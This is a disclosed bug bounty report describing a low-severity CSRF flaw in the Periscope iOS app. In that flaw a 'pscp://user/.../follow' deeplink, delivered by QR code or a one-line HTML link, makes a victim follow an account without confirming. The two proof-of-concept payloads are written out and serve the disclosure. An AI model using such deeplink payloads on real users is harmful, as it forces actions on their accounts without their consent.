X / xAI · Report #805073
Periscope iOS app CSRF in follow action due to deeplink
Validstatus
lowseverity
$2,940bounty
58upvotes
31 Mar 2020disclosed
How it was found
Summary
This issue is mainly in the Periscope iOS app against CSRF follow action using deeplink.
as the report #583987 the CSRF work on iOS app
POC 1
QR code to follow periscope profile
pscp://user/periscopeco/follow
███████
POC2 by kunal94
<!DOCTYPE html>
<html>
<a href="pscp://user/<any user-id>/follow">CSRF DEMO</a>
</html>
video █████████
Impact
CSRF Follow against any user in periscope iOS app